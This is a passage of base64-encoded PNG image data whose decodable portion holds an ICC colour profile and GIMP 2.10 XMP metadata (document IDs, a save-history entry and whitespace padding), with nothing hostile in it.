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PSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNC40LjAtRXhpdjIiPgogPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iCiAgICB4bWxuczpzdEV2dD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlRXZlbnQjIgogICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICAgeG1sbnM6R0lNUD0iaHR0cDovL3d3dy5naW1wLm9yZy94bXAvIgogICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iCiAgIHhtcE1NOkRvY3VtZW50SUQ9ImdpbXA6ZG9jaWQ6Z2ltcDo2M2JjYjhiMy0yZmRkLTQzNDQtYjMwMS0wZWVkN2ZiNWNlY2YiCiAgIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6ZmY4ZjVkYWMtYmJkNS00NGE3LWIzNjctYzgxZjI3YTQ4NDUxIgogICB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MDFiNTIyY2MtYjE5Yi00ZWVjLTlkZjktODQ4MGFlOWM2ZDNjIgogICBkYzpGb3JtYXQ9ImltYWdlL3BuZyIKICAgR0lNUDpBUEk9IjIuMCIKICAgR0lNUDpQbGF0Zm9ybT0iV2luZG93cyIKICAgR0lNUDpUaW1lU3RhbXA9IjE2NTAwNjE0ODg5Nzc4NzUiCiAgIEdJTVA6VmVyc2lvbj0iMi4xMC4zMCIKICAgdGlmZjpPcmllbnRhdGlvbj0iMSIKICAgeG1wOkNyZWF0b3JUb29sPSJHSU1QIDIuMTAiPgogICA8eG1wTU06SGlzdG9yeT4KICAgIDxyZGY6U2VxPgogICAgIDxyZGY6bGkKICAgICAgc3RFdnQ6YWN0aW9uPSJzYXZlZCIKICAgICAgc3RFdnQ6Y2hhbmdlZD0iLyIKICAgICAgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo2NDk3Nzg5Ny04ZDI3LTQ5ODYtOGM0MS03NDhlNzg2YmQwN2MiCiAgICAgIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkdpbXAgMi4xMCAoV2luZG93cykiCiAgICAgIHN0RXZ0OndoZW49IjIwMjItMDQtMTZUMDA6MjQ6NDgiLz4KICAgIDwvcmRmOlNlcT4KICAgPC94bXBNTTpIaXN0b3J5PgogIDwvcmRmOkRlc2NyaXB0aW9uPgogPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg